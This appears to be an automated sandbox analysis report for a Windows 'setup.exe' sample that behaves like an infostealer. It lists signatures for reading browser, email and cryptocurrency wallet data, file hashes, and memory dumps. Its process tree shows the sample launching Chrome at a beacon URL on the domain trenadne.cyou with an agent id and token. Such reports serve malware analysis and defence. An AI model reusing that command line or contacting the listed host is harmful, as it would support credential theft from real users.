Analysis

  • max time kernel
    298s
  • max time network
    299s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/08/2026, 18:29

General

  • Target
    setup.exe
  • Size 4.5MB
  • Sample260804-w5c6baxdpg
  • SHA256 e08c0890b11d91b7ee58de25cc190e1fdf760d76b6d0821aa2d1f442b43e719a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3900
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" trenadne.cyou/api/set_agent?id=795ADD60BD24956701AEC7B30ADF174C&token=d4833d6fb8117804029adba9d2b9e47b9d31b5&description=&agent=Chrome
      2⤵
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffa7cedc728,0x7ffa7cedc734,0x7ffa7cedc740
        3⤵
          PID:4168
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1652,i,5447408932996939729,5107092105039525600,262144 --field-trial-handle=2012,i,6931932856552808789,10933382905451695901,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2008 /prefetch:2
          3⤵
            PID:3648
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1516,i,14449828541795077170,779460701829355742,524288 --field-trial-handle=2012,i,6931932856552808789,10933382905451695901,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2176 /prefetch:11
            3⤵
            • System Time Discovery
            PID:4280
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2324,i,4362646814578089101,2992793013950682907,524288 --field-trial-handle=2012,i,6931932856552808789,10933382905451695901,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2784 /prefetch:13
            3⤵
              PID:2780
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3180,i,13897940891997252266,8921420814937998611,2097152 --field-trial-handle=2012,i,6931932856552808789,10933382905451695901,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3284 /prefetch:1
              3⤵
                PID:4136
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,13967473957379282770,14695165336528446708,2097152 --field-trial-handle=2012,i,6931932856552808789,10933382905451695901,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3312 /prefetch:1
                3⤵
                  PID:1848
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4260,i,3109178500465413466,4661961189271740274,2097152 --field-trial-handle=2012,i,6931932856552808789,10933382905451695901,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4268 /prefetch:9
                  3⤵
                    PID:3192
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5260,i,13926625886269890169,916361762528143120,524288 --field-trial-handle=2012,i,6931932856552808789,10933382905451695901,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5216 /prefetch:14
                    3⤵
                      PID:232
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:1368
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:1308

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 414B
                          • SHA256 fb6b9dc46d41c3e84f3a75a1947d1d7577cb7f31027654b0e9dc33b8c81b2f08
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 2425aecec08b78e92b79037bd0295279b4419767602c40fe853f7a572ee57fef
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 a9ca35c68edf5a448b83c02500d4434354401ff244f32d6e15c135b47f00ce5a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/3900-69-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-65-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-43-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-42-0x0000000022F40000-0x0000000022FA1000-memory.dmp

                          memory/3900-86-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-85-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-84-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-83-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-82-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-81-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-80-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-79-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-78-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-77-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-76-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-75-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-74-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-73-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-72-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-71-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-70-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-45-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-68-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-67-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-66-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-44-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-64-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-63-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-62-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-61-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-60-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-59-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-58-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-57-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-56-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-55-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-54-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-53-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-52-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-51-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-50-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-49-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-48-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-47-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-0-0x0000000022F40000-0x0000000022FA1000-memory.dmp

                          memory/3900-46-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-98-0x0000000023C80000-0x0000000023C81000-memory.dmp

                          memory/3900-101-0x0000000023230000-0x0000000023236000-memory.dmp

                          memory/3900-100-0x0000000023230000-0x0000000023236000-memory.dmp

                          memory/3900-99-0x0000000022F40000-0x0000000022FA1000-memory.dmp